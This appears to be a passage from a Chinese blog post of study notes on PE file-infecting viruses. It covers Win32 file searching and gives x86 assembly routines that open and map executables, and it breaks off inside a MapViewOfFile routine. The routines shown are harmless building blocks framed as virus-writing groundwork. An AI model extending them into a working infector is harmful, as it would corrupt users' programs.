Bootstrap

PE病毒学习笔记——初识感染技术

说起“感染技术”,一般印象里都是——感染文件,准确说,是“感染可执行文件”。事实上,除了文件感染,也可以是“进程感染”,也就是“进程注入”。但是相比而言,文件感染古老多了——早在单进程环境的DOS下就开始发展,而且相比“进程注入”,在我看来要复杂些。

现在我们只考虑Win32环境下的文件感染。毫无疑问,读写文件的过程需要大量使用到API,如果看过我之前的关于“搜索API”的学习笔记的话,那么这个工作在这里不过是一个循环而已。

先考虑最简单的情况,感染没有在运行的、普通的执行文件。

首先是要搜索文件,Win32API有三个函数:FindFirstFile(),FindNextFile(),FindClose(),事实上大家都可以想象到,应该是FindFirstFileA(),FindNextFileA()和FindFirstFileW(),FindNextFileW(),Windows的一贯风格。这几个函数由kernel32.dll导出,具体使用可以通过MSDN解决了,不过这里要强调一个结构:

WIN32_FIND_DATA ,这里面会保存有搜索到的文件的相关信息,特别是
“文件大小”
(DWORD nFileSizeHigh;  DWORD nFileSizeLow;如果这个文件没有大于4GB的话,就只用考虑nFileSizeLow)
和“文件名”
(TCHAR cFileName[MAX_PATH])
这两个变量,对我们来说比较重要。

下面,搜索到具体的文件后,看看我们需要些哪些API支持我们的工作:
;----------------------------------------------
; input:
; ESI = Address of Filename
; _CreateFileA = VA of CreateFileA
;
; output:
; EAX = Opened Filehandle or -1
;
; used reg
; EAX,ESI
;----------------------------------------------
OpenFile proc
    xor eax,eax
    push eax
    push eax
    push 00000003h
    push eax
    inc eax
    push eax
    push 80000000h or 40000000h
    push esi
    call _CreateFileA
    ret
OpenFile endp

首当其冲的当然是以“可读”和“可写”方式打开文件,kernel32里的CreateFileA完成这项工作。

;----------------------------------------------
; input:
; ECX = Mapping Size
; _CreateFileMappingA = VA of CreateFileMappingA
; FileHandle = Opened Filehandle
;
; output:
; EAX = Mapped Handle or -1
;
; used reg
; EAX,ECX
;----------------------------------------------
CreateMap proc
    xor eax,eax
    push eax
    push ecx
    push eax
    push 00000004h
    push eax
    push dword ptr FileHandle
    call _CreateFileMappingA
    ret
CreateMap endp

;----------------------------------------------
; input:
; ECX = Mapping Size
; _MapViewOfFile = VA of MapVie
;